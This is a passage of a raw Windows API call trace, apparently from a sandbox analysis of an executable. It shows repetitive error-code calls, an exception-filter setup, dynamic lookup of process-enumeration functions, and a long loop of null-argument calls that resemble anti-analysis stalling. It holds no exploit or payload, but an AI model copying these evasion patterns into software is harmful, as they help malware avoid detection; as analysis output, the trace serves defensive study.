(dwErrCode=0x0) [0124.492] GetLastError () returned 0x0 [0124.492] SetLastError (dwErrCode=0x0) [0124.492] GetLastError () returned 0x0 [0124.492] SetLastError (dwErrCode=0x0) [0124.492] GetLastError () returned 0x0 [0124.492] SetLastError (dwErrCode=0x0) [0124.492] GetLastError () returned 0x0 [0124.492] SetLastError (dwErrCode=0x0) [0124.492] GetLastError () returned 0x0 [0124.492] SetLastError (dwErrCode=0x0) [0124.492] GetLastError () returned 0x0 [0124.492] SetLastError (dwErrCode=0x0) [0124.492] GetLastError () returned 0x0 [0124.492] SetLastError (dwErrCode=0x0) [0124.493] GetLastError () returned 0x0 [0124.493] SetLastError (dwErrCode=0x0) [0124.493] GetLastError () returned 0x0 [0124.493] SetLastError (dwErrCode=0x0) [0124.493] GetLastError () returned 0x0 [0124.493] SetLastError (dwErrCode=0x0) [0124.493] GetLastError () returned 0x0 [0124.493] SetLastError (dwErrCode=0x0) [0124.493] GetLastError () returned 0x0 [0124.493] SetLastError (dwErrCode=0x0) [0124.493] GetLastError () returned 0x0 [0124.493] SetLastError (dwErrCode=0x0) [0124.493] GetLastError () returned 0x0 [0124.493] SetLastError (dwErrCode=0x0) [0124.493] GetLastError () returned 0x0 [0124.493] SetLastError (dwErrCode=0x0) [0124.493] GetLastError () returned 0x0 [0124.493] SetLastError (dwErrCode=0x0) [0124.493] GetLastError () returned 0x0 [0124.493] SetLastError (dwErrCode=0x0) [0124.493] GetLastError () returned 0x0 [0124.493] SetLastError (dwErrCode=0x0) [0124.493] GetLastError () returned 0x0 [0124.494] SetLastError (dwErrCode=0x0) [0124.494] GetLastError () returned 0x0 [0124.494] SetLastError (dwErrCode=0x0) [0124.494] GetLastError () returned 0x0 [0124.494] SetLastError (dwErrCode=0x0) [0124.494] GetLastError () returned 0x0 [0124.494] SetLastError (dwErrCode=0x0) [0124.494] GetLastError () returned 0x0 [0124.494] SetLastError (dwErrCode=0x0) [0124.494] GetLastError () returned 0x0 [0124.494] SetLastError (dwErrCode=0x0) [0124.494] GetLastError () returned 0x0 [0124.494] SetLastError (dwErrCode=0x0) [0124.494] GetLastError () returned 0x0 [0124.494] SetLastError (dwErrCode=0x0) [0124.494] GetLastError () returned 0x0 [0124.494] SetLastError (dwErrCode=0x0) [0124.494] GetLastError () returned 0x0 [0124.494] SetLastError (dwErrCode=0x0) [0124.494] GetLastError () returned 0x0 [0124.494] SetLastError (dwErrCode=0x0) [0124.494] GetLastError () returned 0x0 [0124.495] SetLastError (dwErrCode=0x0) [0124.495] GetLastError () returned 0x0 [0124.495] SetLastError (dwErrCode=0x0) [0124.495] GetLastError () returned 0x0 [0124.495] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40972f) returned 0x0 [0124.495] PeekMessageA (in: lpMsg=0x18fe98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18fe98) returned 0 [0124.497] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.497] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.498] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.498] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.498] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.499] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x773e0000 [0124.499] GetProcAddress (hModule=0x773e0000, lpProcName="CreateToolhelp32Snapshot") returned 0x7741735f [0124.499] GetProcAddress (hModule=0x773e0000, lpProcName="Module32First") returned 0x77475cd9 [0124.499] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.500] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.500] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.500] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.500] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.500] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.500] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.500] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.500] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.500] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.500] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.500] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.500] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.500] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.500] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.500] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.500] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.500] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.500] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.500] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.500] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.500] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.500] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.500] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.500] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.500] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.500] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.501] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.501] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.501] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.501] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.501] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.501] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.501] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.501] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.501] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.501] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.501] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.501] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.501] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.501] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.501] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.501] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.501] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.501] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.501] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.501] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.501] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.501] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.501] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.501] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.501] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.501] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.502] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.502] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.502] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.502] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.502] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.502] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.502] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.502] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.502] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.502] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.502] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.502] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.502] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.502] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.502] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.502] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.502] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.502] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.502] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.502] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.502] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.502] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.502] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.503] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.503] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.503] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.503] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.503] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.503] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.503] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.503] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.503] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.503] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.503] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.503] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.503] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.503] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.503] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.503] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.503] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.503] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.503] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.503] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.503] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.503] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.503] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.503] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.503] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.504] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.504] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.504] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.504] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.504] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.504] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.504] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.504] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.504] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.504] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.504] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.504] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.504] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.504] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.504] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.504] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.504] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.504] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.504] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.504] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.504] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.504] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.504] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.504] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.504] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.504] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.505] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.505] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.505] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.505] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.505] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.505] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.505] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.505] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.505] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.505] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.505] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.505] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.505] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.505] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.505] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.505] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.505] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.505] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.505] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.505] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.505] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.505] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.505] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.505] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.505] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.505] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.505] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.506] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.506] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.506] 